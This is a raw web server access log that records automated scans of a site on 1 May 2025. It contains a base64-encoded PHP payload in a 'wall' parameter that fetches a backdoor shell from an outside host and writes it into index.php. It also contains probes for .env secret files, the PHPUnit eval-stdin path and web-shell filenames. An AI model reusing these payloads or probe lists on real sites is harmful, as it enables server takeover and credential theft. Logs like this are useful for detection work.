"GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36 Vivaldi/6.1.3035.111." 4.234.160.217 - - [01/May/2025:17:06:44 -0400] "POST / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36 Vivaldi/6.1.3035.111." 49.51.180.2 - - [01/May/2025:17:17:22 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 4.234.160.217 - - [01/May/2025:17:27:37 -0400] "GET /wp-admin/css/colors/blue/blue.php?wall=ZmlsZV9wdXRfY29udGVudHMoJ2luZGV4LnBocCcsZmlsZV9nZXRfY29udGVudHMoJ2h0dHBzOi8vcmF3LmdpdGh1YnVzZXJjb250ZW50LmNvbS9BcmRoaWF6ei9zaGVsbC1iYWNrZG9vci1waHAvbWFpbi9taW5pLXJlZmYucGhwJykpOw= HTTP/1.1" 301 795 "www.google.comhttps://github.com/Ardhiazz" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 4.234.160.217 - - [01/May/2025:17:27:39 -0400] "GET /wp-admin/css/colors/blue/index.php HTTP/1.1" 301 795 "www.google.comhttps://github.com/Ardhiazz" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 4.234.160.217 - - [01/May/2025:17:27:44 -0400] "GET /wp-content/plugins/contact-form-7/includes/js/jquery-ui/themes/smoothness/smoothness.php?wall=ZmlsZV9wdXRfY29udGVudHMoJ2luZGV4LnBocCcsZmlsZV9nZXRfY29udGVudHMoJ2h0dHBzOi8vcmF3LmdpdGh1YnVzZXJjb250ZW50LmNvbS9BcmRoaWF6ei9zaGVsbC1iYWNrZG9vci1waHAvbWFpbi9taW5pLXJlZmYucGhwJykpOw= HTTP/1.1" 301 795 "www.google.comhttps://github.com/Ardhiazz" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 4.234.160.217 - - [01/May/2025:17:27:45 -0400] "GET /wp-content/plugins/contact-form-7/includes/js/jquery-ui/themes/smoothness/index.php HTTP/1.1" 301 795 "www.google.comhttps://github.com/Ardhiazz" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 4.234.160.217 - - [01/May/2025:17:28:40 -0400] "GET /wp-includes/Requests/Exception/HTTP/HTTP.php?wall=ZmlsZV9wdXRfY29udGVudHMoJ2luZGV4LnBocCcsZmlsZV9nZXRfY29udGVudHMoJ2h0dHBzOi8vcmF3LmdpdGh1YnVzZXJjb250ZW50LmNvbS9BcmRoaWF6ei9zaGVsbC1iYWNrZG9vci1waHAvbWFpbi9taW5pLXJlZmYucGhwJykpOw= HTTP/1.1" 301 795 "www.google.comhttps://github.com/Ardhiazz" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 4.234.160.217 - - [01/May/2025:17:29:17 -0400] "GET /wp-includes/Requests/Exception/HTTP/index.php HTTP/1.1" 301 795 "www.google.comhttps://github.com/Ardhiazz" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 193.176.23.38 - - [01/May/2025:17:31:45 -0400] "GET / HTTP/1.1" 301 795 "http://designpitara.com/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36" 4.234.160.217 - - [01/May/2025:17:38:44 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 4.234.160.217 - - [01/May/2025:17:38:50 -0400] "GET /wp-includes/js/jquery/jquery.js HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 4.234.160.217 - - [01/May/2025:17:39:04 -0400] "GET /administrator/help/en-GB/toc.json HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 4.234.160.217 - - [01/May/2025:17:39:10 -0400] "GET /administrator/language/en-GB/install.xml HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 4.234.160.217 - - [01/May/2025:17:39:13 -0400] "GET /plugins/system/debug/debug.xml HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 4.234.160.217 - - [01/May/2025:17:39:16 -0400] "GET /administrator/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 4.234.160.217 - - [01/May/2025:17:39:20 -0400] "GET /misc/ajax.js HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 4.234.160.217 - - [01/May/2025:17:39:24 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 4.234.160.217 - - [01/May/2025:17:39:28 -0400] "GET /admin/view/javascript/common.js HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 4.234.160.217 - - [01/May/2025:17:39:32 -0400] "GET /admin/includes/general.js HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 4.234.160.217 - - [01/May/2025:17:39:36 -0400] "GET /images/editor/separator.gif HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 4.234.160.217 - - [01/May/2025:17:39:39 -0400] "GET /js/header-rollup-554.js HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 4.234.160.217 - - [01/May/2025:17:39:43 -0400] "GET /vendor/phpunit/phpunit/build.xml HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_8; en-us) AppleWebKit/534.50 (KHTML, like Gecko) Version/5.1 Safari/534.50" 4.234.160.217 - - [01/May/2025:17:39:47 -0400] "GET /fckeditor/editor/filemanager/connectors/php/upload.php?Type=Media HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 4.234.160.217 - - [01/May/2025:17:39:50 -0400] "GET /.env HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/28.0" 4.234.160.217 - - [01/May/2025:17:39:55 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/72.0" 46.8.106.95 - - [01/May/2025:17:39:58 -0400] "GET / HTTP/1.1" 301 795 "http://designpitara.com/" "Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36" 4.234.160.217 - - [01/May/2025:17:40:00 -0400] "GET /wp-admin/setup-config.php?step=0 HTTP/1.1" 301 795 "-" "python-requests/2.27.1" 4.234.160.217 - - [01/May/2025:17:40:15 -0400] "GET /wordpress/wp-admin/setup-config.php?step=0 HTTP/1.1" 301 795 "-" "python-requests/2.27.1" 4.234.160.217 - - [01/May/2025:17:40:20 -0400] "GET /wp/wp-admin/setup-config.php?step=0 HTTP/1.1" 301 795 "-" "python-requests/2.27.1" 4.234.160.217 - - [01/May/2025:17:40:24 -0400] "GET /blog/wp-admin/setup-config.php?step=0 HTTP/1.1" 301 795 "-" "python-requests/2.27.1" 4.234.160.217 - - [01/May/2025:17:40:28 -0400] "GET /test/wp-admin/setup-config.php?step=0 HTTP/1.1" 301 795 "-" "python-requests/2.27.1" 4.234.160.217 - - [01/May/2025:17:40:32 -0400] "GET /site/wp-admin/setup-config.php?step=0 HTTP/1.1" 301 795 "-" "python-requests/2.27.1" 51.159.211.164 - - [01/May/2025:17:46:07 -0400] "GET /.env HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 51.159.211.164 - - [01/May/2025:17:46:07 -0400] "GET /sendgrid.env HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 51.159.211.164 - - [01/May/2025:17:46:08 -0400] "GET /core/.env HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 51.159.211.164 - - [01/May/2025:17:46:09 -0400] "GET /vendor/.env HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 51.159.211.164 - - [01/May/2025:17:46:09 -0400] "GET /assets/.env HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 51.159.211.164 - - [01/May/2025:17:46:10 -0400] "GET /storage/.env HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 51.159.211.164 - - [01/May/2025:17:46:10 -0400] "GET /public/.env HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 51.159.211.164 - - [01/May/2025:17:46:11 -0400] "GET /app/.env HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 51.159.211.164 - - [01/May/2025:17:46:11 -0400] "GET /admin/.env HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 51.159.211.164 - - [01/May/2025:17:46:12 -0400] "GET /laravel/.env HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 51.159.211.164 - - [01/May/2025:17:46:13 -0400] "POST / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 51.159.211.164 - - [01/May/2025:17:46:13 -0400] "GET /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 13.79.199.112 - - [01/May/2025:19:00:45 -0400] "GET /wp-includes/css/ HTTP/1.1" 301 795 "-" "-" 13.79.199.112 - - [01/May/2025:19:00:50 -0400] "GET /wp-includes/style-engine/ HTTP/1.1" 301 795 "-" "-" 13.79.199.112 - - [01/May/2025:19:01:02 -0400] "GET /.well-knownold/ HTTP/1.1" 301 795 "-" "-" 13.79.199.112 - - [01/May/2025:19:01:03 -0400] "GET /admin/uploads/ HTTP/1.1" 301 795 "-" "-" 13.79.199.112 - - [01/May/2025:19:01:04 -0400] "GET /Admin/uploads/ HTTP/1.1" 301 795 "-" "-" 13.79.199.112 - - [01/May/2025:19:01:05 -0400] "GET /wp-includes/Requests/Transport/ HTTP/1.1" 301 795 "-" "-" 13.79.199.112 - - [01/May/2025:19:01:06 -0400] "GET /wp-includes/Requests/Exception/ HTTP/1.1" 301 795 "-" "-" 13.79.199.112 - - [01/May/2025:19:01:07 -0400] "GET /wp-includes/sodium_compat/src/ HTTP/1.1" 301 795 "-" "-" 13.79.199.112 - - [01/May/2025:19:01:08 -0400] "GET /wp-content/mu-plugins-old/ HTTP/1.1" 301 795 "-" "-" 13.79.199.112 - - [01/May/2025:19:01:10 -0400] "GET /modules/ HTTP/1.1" 301 795 "-" "-" 13.79.199.112 - - [01/May/2025:19:01:12 -0400] "GET /wp-includes/rest-api/fields/ HTTP/1.1" 301 795 "-" "-" 13.79.199.112 - - [01/May/2025:19:01:12 -0400] "GET /wp-includes/images/ HTTP/1.1" 301 795 "-" "-" 13.79.199.112 - - [01/May/2025:19:01:13 -0400] "GET /uploads/ HTTP/1.1" 301 795 "-" "-" 13.79.199.112 - - [01/May/2025:19:01:16 -0400] "GET /wp-content/ HTTP/1.1" 301 795 "-" "-" 13.79.199.112 - - [01/May/2025:19:01:17 -0400] "GET /wp-content/plugins/ HTTP/1.1" 301 795 "-" "-" 13.79.199.112 - - [01/May/2025:19:01:18 -0400] "GET /wp-includes/rest-api/ HTTP/1.1" 301 795 "-" "-" 13.79.199.112 - - [01/May/2025:19:01:21 -0400] "GET /upload/ HTTP/1.1" 301 795 "-" "-" 13.79.199.112 - - [01/May/2025:19:01:22 -0400] "GET /images/ HTTP/1.1" 301 795 "-" "-" 13.79.199.112 - - [01/May/2025:19:01:24 -0400] "GET /wp-includes/SimplePie/Content/Type/ HTTP/1.1" 301 795 "-" "-" 13.79.199.112 - - [01/May/2025:19:01:25 -0400] "GET /wp-includes/Requests/Cookie/ HTTP/1.1" 301 795 "-" "-" 13.79.199.112 - - [01/May/2025:19:01:26 -0400] "GET /wp-includes/images/media/ HTTP/1.1" 301 795 "-" "-" 13.79.199.112 - - [01/May/2025:19:01:27 -0400] "GET /wp-includes/html-api/ HTTP/1.1" 301 795 "-" "-" 13.79.199.112 - - [01/May/2025:19:01:28 -0400] "GET /wp-includes/pomo/ HTTP/1.1" 301 795 "-" "-" 13.79.199.112 - - [01/May/2025:19:01:29 -0400] "GET /wp-comments-post.php HTTP/1.1" 301 795 "-" "-" 13.79.199.112 - - [01/May/2025:19:01:30 -0400] "GET /wp-includes/ HTTP/1.1" 301 795 "-" "-" 13.79.199.112 - - [01/May/2025:19:01:31 -0400] "GET /Assets/ HTTP/1.1" 301 795 "-" "-" 13.79.199.112 - - [01/May/2025:19:01:32 -0400] "GET /wp-includes/php-compat/ HTTP/1.1" 301 795 "-" "-" 13.79.199.112 - - [01/May/2025:19:01:33 -0400] "GET /wp-includes/js/codemirror/ HTTP/1.1" 301 795 "-" "-" 13.79.199.112 - - [01/May/2025:19:01:35 -0400] "GET /wp-includes/sodium_compat/ HTTP/1.1" 301 795 "-" "-" 13.79.199.112 - - [01/May/2025:19:01:36 -0400] "GET /wp-includes/customize/ HTTP/1.1" 301 795 "-" "-" 13.79.199.112 - - [01/May/2025:19:01:37 -0400] "GET /ALFA_DATA/ HTTP/1.1" 301 795 "-" "-" 13.79.199.112 - - [01/May/2025:19:01:38 -0400] "GET /cgi-bin/ HTTP/1.1" 301 795 "-" "-" 13.79.199.112 - - [01/May/2025:19:01:39 -0400] "GET /local/ HTTP/1.1" 301 795 "-" "-" 13.79.199.112 - - [01/May/2025:19:01:41 -0400] "GET /wp-includes/Requests/Auth/ HTTP/1.1" 301 795 "-" "-" 13.79.199.112 - - [01/May/2025:19:01:43 -0400] "GET /wp-includes/js/ HTTP/1.1" 301 795 "-" "-" 13.79.199.112 - - [01/May/2025:19:01:43 -0400] "GET /wp-includes/widgets/ HTTP/1.1" 301 795 "-" "-" 13.79.199.112 - - [01/May/2025:19:01:45 -0400] "GET /wp-includes/images/smilies/ HTTP/1.1" 301 795 "-" "-" 13.79.199.112 - - [01/May/2025:19:01:47 -0400] "GET /wp-admin/images/ HTTP/1.1" 301 795 "-" "-" 13.79.199.112 - - [01/May/2025:19:01:48 -0400] "GET /images/stories/ HTTP/1.1" 301 795 "-" "-" 13.79.199.112 - - [01/May/2025:19:01:50 -0400] "GET /wp-includes/Text/Diff/Engine/ HTTP/1.1" 301 795 "-" "-" 13.79.199.112 - - [01/May/2025:19:01:51 -0400] "GET /wp-includes/IXR/ HTTP/1.1" 301 795 "-" "-" 13.79.199.112 - - [01/May/2025:19:01:53 -0400] "GET /.well-known/acme-challenge/ HTTP/1.1" 301 795 "-" "-" 13.79.199.112 - - [01/May/2025:19:01:54 -0400] "GET /Site/ HTTP/1.1" 301 795 "-" "-" 13.79.199.112 - - [01/May/2025:19:01:55 -0400] "GET /template/ HTTP/1.1" 301 795 "-" "-" 13.79.199.112 - - [01/May/2025:19:01:57 -0400] "GET /wp-includes/certificates/ HTTP/1.1" 301 795 "-" "-" 13.79.199.112 - - [01/May/2025:19:01:59 -0400] "GET /assets/ HTTP/1.1" 301 795 "-" "-" 13.79.199.112 - - [01/May/2025:19:02:00 -0400] "GET /wp-includes/Text/Diff/ HTTP/1.1" 301 795 "-" "-" 13.79.199.112 - - [01/May/2025:19:02:01 -0400] "GET /wp-admin/css/colors/ectoplasm/ HTTP/1.1" 301 795 "-" "-" 13.79.199.112 - - [01/May/2025:19:02:02 -0400] "GET /wp-admin/css/colors/ HTTP/1.1" 301 795 "-" "-" 13.79.199.112 - - [01/May/2025:19:02:03 -0400] "GET /admin/images/slider/ HTTP/1.1" 301 795 "-" "-" 13.79.199.112 - - [01/May/2025:19:02:04 -0400] "GET /wp-admin/maint/ HTTP/1.1" 301 795 "-" "-" 13.79.199.112 - - [01/May/2025:19:02:07 -0400] "GET /modules/mod_simplefileuploadv1.3/elements/ HTTP/1.1" 301 795 "-" "-" 13.79.199.112 - - [01/May/2025:19:02:12 -0400] "GET /files/ HTTP/1.1" 301 795 "-" "-" 13.79.199.112 - - [01/May/2025:19:02:14 -0400] "GET /wp-includes/block-supports/ HTTP/1.1" 301 795 "-" "-" 13.79.199.112 - - [01/May/2025:19:02:16 -0400] "GET /wp-includes/Requests/Utility/ HTTP/1.1" 301 795 "-" "-" 13.79.199.112 - - [01/May/2025:19:02:17 -0400] "GET /wp-admin/includes/ HTTP/1.1" 301 795 "-" "-" 13.79.199.112 - - [01/May/2025:19:02:19 -0400] "GET /wp-includes/SimplePie/ HTTP/1.1" 301 795 "-" "-" 13.79.199.112 - - [01/May/2025:19:02:21 -0400] "GET /wp-includes/Text/Diff/Engine/Engine/ HTTP/1.1" 301 795 "-" "-" 13.79.199.112 - - [01/May/2025:19:02:23 -0400] "GET /sites/default/files/ HTTP/1.1" 301 795 "-" "-" 13.79.199.112 - - [01/May/2025:19:02:23 -0400] "GET /wp-includes/blocks/ HTTP/1.1" 301 795 "-" "-" 13.79.199.112 - - [01/May/2025:19:02:26 -0400] "GET /.well-known/ HTTP/1.1" 301 795 "-" "-" 13.79.199.112 - - [01/May/2025:19:02:28 -0400] "GET /wp-includes/Requests/Response/ HTTP/1.1" 301 795 "-" "-" 13.79.199.112 - - [01/May/2025:19:02:30 -0400] "GET /wp-includes/rest-api/search/ HTTP/1.1" 301 795 "-" "-" 13.79.199.112 - - [01/May/2025:19:02:31 -0400] "GET /wp-includes/sitemaps/providers/ HTTP/1.1" 301 795 "-" "-" 13.79.199.112 - - [01/May/2025:19:02:33 -0400] "GET /wp-includes/sitemaps/ HTTP/1.1" 301 795 "-" "-" 13.79.199.112 - - [01/May/2025:19:02:35 -0400] "GET /wp-includes/theme-compat/ HTTP/1.1" 301 795 "-" "-" 13.79.199.112 - - [01/May/2025:19:02:37 -0400] "GET /wp-admin/css/ HTTP/1.1" 301 795 "-" "-" 13.79.199.112 - - [01/May/2025:19:02:38 -0400] "GET /vendor/ HTTP/1.1" 301 795 "-" "-" 13.79.199.112 - - [01/May/2025:19:02:40 -0400] "GET /system/ HTTP/1.1" 301 795 "-" "-" 13.79.199.112 - - [01/May/2025:19:02:40 -0400] "GET /admin/fckeditor/editor/filemanager/ HTTP/1.1" 301 795 "-" "-" 13.79.199.112 - - [01/May/2025:19:02:42 -0400] "GET /wp-includes/rest-api/endpoints/ HTTP/1.1" 301 795 "-" "-" 13.79.199.112 - - [01/May/2025:19:02:45 -0400] "GET /wp-includes/random_compat/ HTTP/1.1" 301 795 "-" "-" 13.79.199.112 - - [01/May/2025:19:02:46 -0400] "GET /wp-admin/network/ HTTP/1.1" 301 795 "-" "-" 13.79.199.112 - - [01/May/2025:19:02:47 -0400] "GET /wp-content/themes/classic/inc/ HTTP/1.1" 301 795 "-" "-" 13.79.199.112 - - [01/May/2025:19:02:49 -0400] "GET /wp-content/plugins/ninja-forms/ HTTP/1.1" 301 795 "-" "-" 13.79.199.112 - - [01/May/2025:19:02:52 -0400] "GET /vendor/phpunit/phpunit/src/Util/PHP/ HTTP/1.1" 301 795 "-" "-" 13.79.199.112 - - [01/May/2025:19:02:53 -0400] "GET /wp-includes/block-patterns/ HTTP/1.1" 301 795 "-" "-" 13.79.199.112 - - [01/May/2025:19:02:54 -0400] "GET /wp-includes/images/crystal/ HTTP/1.1" 301 795 "-" "-" 13.79.199.112 - - [01/May/2025:19:02:56 -0400] "GET /wp-admin/user/ HTTP/1.1" 301 795 "-" "-" 13.79.199.112 - - [01/May/2025:19:02:57 -0400] "GET /wp-content/upgrade/ HTTP/1.1" 301 795 "-" "-" 13.79.199.112 - - [01/May/2025:19:02:58 -0400] "GET /wp-includes/ID3/ HTTP/1.1" 301 795 "-" "-" 13.79.199.112 - - [01/May/2025:19:03:00 -0400] "GET /plugins/ HTTP/1.1" 301 795 "-" "-" 13.79.199.112 - - [01/May/2025:19:03:02 -0400] "GET /wp-includes/Requests/Proxy/ HTTP/1.1" 301 795 "-" "-" 13.79.199.112 - - [01/May/2025:19:03:03 -0400] "GET /admin/controller/extension/extension/ HTTP/1.1" 301 795 "-" "-" 13.79.199.112 - - [01/May/2025:19:03:04 -0400] "GET /wp-includes/Text/ HTTP/1.1" 301 795 "-" "-" 13.79.199.112 - - [01/May/2025:19:03:05 -0400] "GET /admin/editor/ HTTP/1.1" 301 795 "-" "-" 13.79.199.112 - - [01/May/2025:19:03:08 -0400] "GET /wp-includes/fonts/ HTTP/1.1" 301 795 "-" "-" 13.79.199.112 - - [01/May/2025:19:03:09 -0400] "GET /wp-includes/js/crop/ HTTP/1.1" 301 795 "-" "-" 66.249.65.160 - - [01/May/2025:19:03:11 -0400] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 66.249.65.160 - - [01/May/2025:19:03:12 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 13.79.199.112 - - [01/May/2025:19:03:15 -0400] "GET /wp-includes/Text/Diff/Renderer/ HTTP/1.1" 301 795 "-" "-" 13.79.199.112 - - [01/May/2025:19:03:19 -0400] "GET /wp-includes/assets/ HTTP/1.1" 301 795 "-" "-" 13.79.199.112 - - [01/May/2025:19:03:22 -0400] "GET /upload/image/ HTTP/1.1" 301 795 "-" "-" 13.79.199.112 - - [01/May/2025:19:03:25 -0400] "GET /php/ HTTP/1.1" 301 795 "-" "-" 13.79.199.112 - - [01/May/2025:19:03:28 -0400] "GET /wp-includes/images/wlw/ HTTP/1.1" 301 795 "-" "-" 13.79.199.112 - - [01/May/2025:19:03:30 -0400] "GET /wp-admin/ HTTP/1.1" 301 795 "-" "-" 13.79.199.112 - - [01/May/2025:19:03:31 -0400] "GET /wp-includes/SimplePie/Content/ HTTP/1.1" 301 795 "-" "-" 13.79.199.112 - - [01/May/2025:19:03:33 -0400] "GET /wp-includes/Requests/Exception/HTTP/ HTTP/1.1" 301 795 "-" "-" 13.79.199.112 - - [01/May/2025:19:03:35 -0400] "GET /components/ HTTP/1.1" 301 795 "-" "-" 13.79.199.112 - - [01/May/2025:19:03:37 -0400] "GET /wp-includes/Requests/ HTTP/1.1" 301 795 "-" "-" 13.79.199.112 - - [01/May/2025:19:03:39 -0400] "GET /Public/ HTTP/1.1" 301 795 "-" "-" 13.79.199.112 - - [01/May/2025:19:03:41 -0400] "GET /admin/ HTTP/1.1" 301 795 "-" "-" 13.79.199.112 - - [01/May/2025:19:03:44 -0400] "GET /admin/uploads/images/ HTTP/1.1" 301 795 "-" "-" 13.79.199.112 - - [01/May/2025:19:03:46 -0400] "GET /wp-content/mu-plugins/ HTTP/1.1" 301 795 "-" "-" 13.79.199.112 - - [01/May/2025:19:03:48 -0400] "GET /assets/images/ HTTP/1.1" 301 795 "-" "-" 13.79.199.112 - - [01/May/2025:19:03:49 -0400] "GET /shop/ HTTP/1.1" 301 795 "-" "-" 13.79.199.112 - - [01/May/2025:19:03:51 -0400] "GET /wp-includes/SimplePie/Cache/ HTTP/1.1" 301 795 "-" "-" 13.79.199.112 - - [01/May/2025:19:03:53 -0400] "GET /wp-includes/PHPMailer/ HTTP/1.1" 301 795 "-" "-" 13.79.199.112 - - [01/May/2025:19:03:55 -0400] "GET /wp-admin/meta/ HTTP/1.1" 301 795 "-" "-" 13.79.199.112 - - [01/May/2025:19:03:56 -0400] "GET /include/ HTTP/1.1" 301 795 "-" "-" 13.79.199.112 - - [01/May/2025:19:03:59 -0400] "GET /wp-content/themes/ HTTP/1.1" 301 795 "-" "-" 13.79.199.112 - - [01/May/2025:19:04:00 -0400] "GET /about.php HTTP/1.1" 301 795 "-" "-" 13.79.199.112 - - [01/May/2025:19:04:01 -0400] "GET /admin.php HTTP/1.1" 301 795 "-" "-" 13.79.199.112 - - [01/May/2025:19:04:02 -0400] "GET /makeasmtp.php HTTP/1.1" 301 795 "-" "-" 13.79.199.112 - - [01/May/2025:19:04:04 -0400] "GET /classsmtps.php HTTP/1.1" 301 795 "-" "-" 13.79.199.112 - - [01/May/2025:19:04:05 -0400] "GET /xmrlpc.php HTTP/1.1" 301 795 "-" "-" 13.79.199.112 - - [01/May/2025:19:04:06 -0400] "GET /chosen.php HTTP/1.1" 301 795 "-" "-" 13.79.199.112 - - [01/May/2025:19:04:07 -0400] "GET /doc.php HTTP/1.1" 301 795 "-" "-" 13.79.199.112 - - [01/May/2025:19:04:09 -0400] "GET /atomlib.php HTTP/1.1" 301 795 "-" "-" 13.79.199.112 - - [01/May/2025:19:04:11 -0400] "GET /simple.php HTTP/1.1" 301 795 "-" "-" 13.79.199.112 - - [01/May/2025:19:04:12 -0400] "GET /bypass.php HTTP/1.1" 301 795 "-" "-" 13.79.199.112 - - [01/May/2025:19:04:13 -0400] "GET /wp-login.php HTTP/1.1" 301 795 "-" "-" 13.79.199.112 - - [01/May/2025:19:04:14 -0400] "GET /radio.php HTTP/1.1" 301 795 "-" "-" 13.79.199.112 - - [01/May/2025:19:04:16 -0400] "GET /edit.php HTTP/1.1" 301 795 "-" "-" 13.79.199.112 - - [01/May/2025:19:04:17 -0400] "GET /bak.php HTTP/1.1" 301 795 "-" "-" 13.79.199.112 - - [01/May/2025:19:04:19 -0400] "GET /css.php HTTP/1.1" 301 795 "-" "-" 13.79.199.112 - - [01/May/2025:19:04:21 -0400] "GET /blog.php HTTP/1.1" 301 795 "-" "-" 13.79.199.112 - - [01/May/2025:19:04:24 -0400] "GET /post.php HTTP/1.1" 301 795 "-" "-" 13.79.199.112 - - [01/May/2025:19:04:25 -0400] "GET /dropdown.php HTTP/1.1" 301 795 "-" "-" 13.79.199.112 - - [01/May/2025:19:04:26 -0400] "GET /wp-signup.php HTTP/1.1" 301 795 "-" "-" 13.79.199.112 - - [01/May/2025:19:04:28 -0400] "GET /k.php HTTP/1.1" 301 795 "-" "-" 13.79.199.112 - - [01/May/2025:19:04:29 -0400] "GET /lufix.php HTTP/1.1" 301 795 "-" "-" 13.79.199.112 - - [01/May/2025:19:04:30 -0400] "GET /wp-conflg.php HTTP/1.1" 301 795 "-" "-" 13.79.199.112 - - [01/May/2025:19:04:32 -0400] "GET /shell.php HTTP/1.1" 301 795 "-" "-" 13.79.199.112 - - [01/May/2025:19:04:33 -0400] "GET /wp-mail.php HTTP/1.1" 301 795 "-" "-" 13.79.199.112 - - [01/May/2025:19:04:35 -0400] "GET /404.php HTTP/1.1" 301 795 "-" "-" 13.79.199.112 - - [01/May/2025:19:04:36 -0400] "GET /fw.php HTTP/1.1" 301 795 "-" "-" 13.79.199.112 - - [01/May/2025:19:04:38 -0400] "GET 